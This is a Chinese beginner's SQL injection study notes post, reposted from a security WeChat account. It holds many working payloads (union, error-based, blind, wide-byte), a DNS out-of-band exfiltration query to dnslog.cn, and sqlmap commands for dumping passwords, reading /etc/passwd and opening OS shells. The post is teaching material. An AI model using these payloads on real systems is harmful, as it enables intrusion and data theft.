基础普及-笔记共享(sql注入)

admin 2022年3月1日02:06:14评论68 views字数 12772阅读42分34秒阅读模式

基础普及-笔记共享(sql注入)


△△△点击上方“蓝字”关注我们了解更多精彩




0x00 Preface [前言/简介]

基础普及-笔记共享(sql注入)

我也想谈恋爱啊!妈耶简直不当人。在线找对象呀!~
发发笔记,回顾一下当初学习知识的辛酸o(╥﹏╥)o


0x01 SQL注入原理及基础
  1. 原理(注入条件):

首先找注入点,任何与数据库有交互的地方都有可能存在sql注入
可控变量
带入数据库查询
变量存在过滤但可进行绕过

二、注入点:

认证页面
搜索页面
Post请求
Get请求
HTTP头部
Cookie

三、常用函数及变量:

常用函数:GROUP_CONCAT(col)     返回由属于一组的列值连接组合而成的结果###   ASCII(char)         返回字符的ASCII码值DATABASE()     返回当前数据库名USER()或SYSTEM_USER()    返回当前登陆用户名VERSION()     返回数据库的版本SLEEP(n)  休眠n秒2.  PHP 中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可用。这些超全局变量是:$_REQUEST (获取GET/POST/COOKIE) COOKIE在新版本已经无法获取了$_POST  (获取POST传参)$_GET  (获取GET的传参)$_COOKIE   (获取COOKIE的值)$_SERVER  (包含了诸如头信息(header)、路径(path)、以及脚本位置(script     locations)等等信息的数组)$_SERVER功能  常用的:  $_SERVER['HTTP_HOST']  请求头信息中的Host内容,获取当前域名。  $_SERVER["HTTP_USER_AGENT"]  获取用户相关信息,包括用户浏览器、操作    系统等信息。  $_SERVER["REMOTE_ADDR"]  浏览网页的用户ip。

四、查询方式:

select 查询数据

在网站应用中进行数据显示查询操作例:select * from news where id=$id

insert 插入数据

在网站应用中进行用户注册添加等操作例:insert into news(id,url,text) values(2,'x','$t')

delete 删除数据

后台管理里面删除文章删除用户等操作例:delete from news where id=$id

update 更新数据

会员或后台中心数据同步或缓存等操作例:update user set pwd='$p' where id=2 and username='admin'

order by 排序数据

一般结合表名或列名进行数据排序操作例:select * from news order by $id例:select id,name,price from news order by $order

重点理解:

我们可以通过以上查询方式与网站应用的关系注入点产生地方或应用猜测到对方的SQL查询方式只要存在前后台交互的地方都可能存在注入漏洞




0x02 注入流程(以MySql数据库为例:联合查询-Get传参)

一、判断注入:

例:判断参数是否可控

?id=1 and 1=1(正确)  逻辑判断方法?id=1 and 1=2(错误)  逻辑判断方法?id=1' 符号干扰判断方法    包括:"   ")  '    ')?id=0.1111 ?id=-1 参数错误判断方法?id=1 and sleep(10) 延时判断方法?id=1-1 运算符判断方法示:闭合方法 'and '1'='1' and 1=1 --+-' and 1=1 #" and 1=1 %23 ?id=1' and 1=2 ;%00 特殊的注释符id=1' or 1=1 or '1'='1id=1' or 1=2 or '1'='1id=1' and 1=1 and '1'='1id=1' and 1=2 and '1'='1

番外:

SQL测试语句:
-1%2B1'--+"--+'#') --+")--+')#' or '1'='1' and '1'='1' and sleep(5); and 1=1 and 1=21 and sleep(4) --+1' and sleep(4) --+1') and sleep(4) --+ ;WAITFOR DELAY '0:0:5'--admin' or 'a'='a' or 'a'='aand 1 like 2admin')or 1=1#admin' or '1'='11 /*123*/  union select user(),2/**/and/**/1=21' and '1' like '11' and '1' like '01' or  '1' like'01'or '1' like '11/01/21/3'^1/1^'0'||1/1||' 'and+1/user='1

二、拆解字段数:

order by (数据库排序命令)例:?id=1' order by 3 -- -group by 例:?id=1' group by 3 desc-- -

三、判断显错位:

union select(数据库联合查询命令)例:?id=-1' union select 1,2,3 -- -

四、查询库名:

database() (返回当前数据库名)例:?id=-1' union select 1,database(),3 -- -

五、查询表名:

注:在MySql5.0以上版本自带存储有MySql数据库下所有数据库里面的数据信息,包括数据库名,表名,列名等信息,所以我们根据查询它获取指定数据库下的表名及列名信息。

information_schema:系统自带库 table_name:列名 column_nmae:数据库名 information_schema.tables:存储表名信息的表 information_schema.columns:存储列名信息的表 information_schema.schemata:存储数据库名信息的表 例1:?id=-1' union select 1,table_name,3 from information_schema.tabales        where table_schema=database() limit 0,1-- - (试用limit进行多条件查询、在无法显示多条信息的时候使用) 例2:?id=-1' union select  1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -

六、查询字段名:

获取某数据库下的表名下面的列名信息例:?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schenma='表名'-- -

七、查询数据:

例:?id=-1' union select 1,字段名,3 from 表名 limit 0,1 -- -




0x03 其他注入方法
ps:以下只举例做法,具体细节操作可直接参考get注入的做法,不会有很大变化。

一、Post传参:

万能密码 'or 1=1 #      'or 1=1 /*    'or '1'='1

猜字段数'order by  #

联合查询回显点' union select  #

步骤与get传参相近

例:uname=admin' order by 1,2 #&passwd=admin&submit=Submiuname=-admin' union select 1,database() #&passwd=admin&submit=Submi

二、HTTP头-head:

在报文里只要是存在于数据库交互的地方也是可以进行注入测试的。不单单仅限于报错注入,各种注入的手法皆可尝试

使用报错语句

User-Agent:'or updatexml(1,concat(0x7e,(select database())),1),1)#Referer: 'or updatexml(1,concat(0x7e,(select database())),1),1)#X-Forwarded-For:'or updatexml(1,concat(0x7e,(select database())),1),1)#

则使用报错注入,报错语句:

1). 通过updatexml报错

and (updatexml(1,concat(0x7e,(select user()),0x7e),1))--+

同样该语句对输出的字符长度也做了限制,其最长输出32位

并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效

2). 通过ExtractValue报错

and (extractvalue(1,concat(0x7e,(select user()),0x7e)))--+

输出字符有长度限制,最长32位。

多种报错注入方式:
and (select 1 from  (select count(*),concat(version(),floor(rand(0)*2))x from  information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)));
and 1=(updatexml(1,concat(0x3a,(select user())),1));
and GeometryCollection((select*from(select*from(select @@version)f)x));
and polygon((select*from(select name_const(version(),1))x))
and linestring((select * from(select * from(select user())a)b));
and multilinestring((select * from(select * from(select version())a)b));
and multipoint((select * from(select * from(select user())a)b));
and multipolygon((select * from(select * from(select user())a)b));
and exp(~(select * from(select version())a));

三、盲注:

length() 函数 返回字符串的长度substr() 截取字符串 (语法:SUBSTR(str,pos,len);) ascii() 返回字符的ascii码   [将字符变为数字wei]sleep() 将程序挂起一段时间n为n秒if(expr1,expr2,expr3) 判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句  
盲注就是在注入过程中,获取的数据不能回显至前端页面。
此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。


1.布尔型盲注

猜解当前数据库名称长度and (length(database()))>9#利用ASCII码猜解当前数据库名称and (ascii(substr(database(),1,1)))=115--+ 返回正常,说明数据库名称第一位是sand (ascii(substr(database(),2,1)))=101--+ 返回正常,说明数据库名称第二位是e猜表名and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101--+ 返回正常,说明数据库表名的第一个的第一位是e猜字段名and (ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 0,1),1,1)))=102--+ 返回正常,说明表中的列名称第一位是f猜内容and (ascii(substr(( select 字段名 from 表名 limit 3,1),1,1)))=122--+返回正常,说明第四列第一位是122122等于z

2.延时型盲注

判断方法and sleep(10)--+做法判断数据库名 长度?id=1'and if(length(database())=8,sleep(10),1) --+ 判断数据库名第一位是什么and if(ascii(substr(database(),1,1))>120,0,sleep(10)) --+
注:mssql 延时 返回正常将延时五秒if exists (select * from sysobjects) waitfor delay '0:0:5'--+-

四、Cookie传参:

使用浏览器的开发者模式 使用console

语句为:

Document.cookie="id="+escape("171")Document.cookie="id="+escape("171 union select 1,username,password,4,5,6,7,8,9,10 from admin")

SQLmap如何跑Cookie注入

sqlmap.py -u "http://59.63.200.79:8004/shownews.asp" --cookie "id=171" --level 2

五、access偏移注入:(access数据库必须带表名)

使用场景:知道表名但不知道字段名,比如权限不足的知道表名却不知道字段,使用偏移查询主要字段内容等

条件:注入点表的字段数要大于等于查询表的字段数原理:利用数据库语法中的 表名.* 代表表中的所有字段判断注入点(常规判断不写)判断字段数order by联合查询判断回显点union select 1,2,3,4,5,6 from admin偏移查询数据(移动字段的位置获取字段内容)union select 1,2,admin.*,4,5,6 from adminunion select 1,2,3,admin.*,5,6 from admin表爆破:exists(select*from admin)

六、宽字节注入:

关键函数

magic_quotes_gpc函数在php中的作用是判断解析用户提交的数据,如包括有:post、get、cookie过来的数据增加转义字符“”,以确保这些数据不会引起程序,特别是数据库语句因为特殊字符引起的污染而出现致命的错误。

get传参:注入点判断%df%27%20--+
字段数%df%27%20order%20by%201,2,3--+
显错位%df%27%20union%20select%201,2,3--+
查库名,爆表名(用16进制来代替字符串)%df%27%20union%20select%201,database(),group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=0x7769646563686172%20--+

七、DNSLOG注入

dns带外查询属于MySQL注入。常用于无法直接利用漏洞获得回显的情况下,但是目标可以发起请求,这个时候就可以通过DNS请求把想获得的数据外带出来

利用MySQL数据库的 LOAD_FILE() 读取文件的函数去拼接查询结果并访问用于拼接的dns平台 然后通过平台去进行查看接收到的数据

    由于本人在dnslog使用上多用于命令执行跟部分漏洞验证中使用这里就没有多久记录,可以多看看查考资料。

常用dnslog平台:  http://www.dnslog.cn  http://ceye.ioMySQL查询示例:  SELECT LOAD_FILE('//',(select database()),'.fsd25z.dnslog.cn/abc');参考资料:  https://blog.csdn.net/qq_35569814/article/details/100348097  https://www.cnblogs.com/-qing-/p/10623583.html  http://t.zoukankan.com/s1ye-p-8909452.html



0x05 sqlmap使用

一、基本使用:

sqlmap.py -v 查询sqlmap版本sqlmap.py --update 更新sqlmap版本sqlmap.py -u "网址" 查询网址是否有注入点--is-dba 查看当前用戶是否为dba(database admin)用戶管理员 显示current user is DBA 为 True 则为管理员  --dbs 列出所有数据库  (可进行跨库查询)--current-db 查看当前数据库--tables -D "库名" (可不加引号) 列出 库名 的 所有 表--columns  -T "表名" -D "库名" (可不加引号) 列出 表名 的 所有 列--dump -T "表名" -D "库名" (可不加引号) 列出 列名 的 所有內容--users  获取所有用户名--password  获取所有用户密码

二、命令解释:

-u #注入点-f #指纹判别数据库类型-b #获取数据库版本信息-p #指定可测试的参数(?page=1&id=2 -p "page,id")-D "" #指定数据库名-T "" #指定表名-C "" #指定字段-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log"  恢复:-s "xx.log" --resume)--level=(1-5) #要执行的测试水平等级,默认为1--risk=(0-3#测试执行的风险等级,默认为1--time-sec=(2,5#延迟响应,默认为5--data #通过POST发送数据--columns #列出字段--current-user #获取当前用户名称--current-db #获取当前数据库名称--users #列数据库所有用户--passwords #数据库用户所有密码--privileges #查看用户权限(--privileges -U root)-U #指定数据库用户--dbs #列出所有数据库--tables -D "" #列出指定数据库中的表--columns -T "user" -D "mysql"#列出mysql数据库中的user表的所有字段--dump-all #列出所有数据库所有表--exclude-sysdbs #只列出用户自己新建的数据库和表--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系统(Linux,Windows)-v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。    1:显示信息和警告消息    2:显示调试信息    3:有效载荷注入    4:显示HTTP请求    5:显示HTTP相应    6:显示HTTP相应页面的内容--privileges #查看权限--is-dba #是否是数据库管理员--roles #枚举数据库用户角色--udf-inject #导入用户自定义函数(获取系统权限)--union-check #是否支持union 注入--union-cols #union 查询表记录--union-test #union 语句测试--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交数据(--data "page=1&id=2")--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) --referer "" #使用referer欺骗(--referer "http://")--user-agent "" #自定义user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定关键词,字符串匹配.--threads    #采用多线程(--threads 3)--sql-shell #执行指定sql命令--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #读取指定文件--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)--file-dest #要写入的文件绝对路径--os-cmd=id #执行系统命令--os-shell #系统交互shell--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #读取win系统注册表--priv-esc #--time-sec= #延迟设置 默认--time-sec=5 为5秒 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注 /pentest/database/sqlmap/txt/common-columns.txt  字段字典common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt

三、常用语句 :

1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINESOFEWAREsqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta15./sqlmap.py -u "http://192.168.1.1/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?.target.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.1.1/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.1.1/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner21./sqlmap.py -u "http://192.168.1.1/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1
2.判断当前数据库用户权限sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1
3.读取所有数据库用户或指定数据库用户的密码sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2
4.获取所有数据库sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2
5.获取指定数据库中的所有表sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2
6.获取指定数据库名中指定表的字段sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2
7.获取指定数据库名中指定表中指定字段的数据sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2
8.file-read读取web文件sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2
9.file-write写入文件到websqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:




0x09 Summary 总结
就一篇自己的sql注入学习笔记,要是发现哪里不对的还行多多指点,小菜鸟欢迎大佬的指点



END



如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!

基础普及-笔记共享(sql注入)

或添加NOVASEC-MOYU 以便于及时回复。

基础普及-笔记共享(sql注入)


感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!


本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!



本文始发于微信公众号(NOVASEC):基础普及-笔记共享(sql注入)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月1日02:06:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基础普及-笔记共享(sql注入)http://cn-sec.com/archives/494191.html

发表评论

匿名网友 填写信息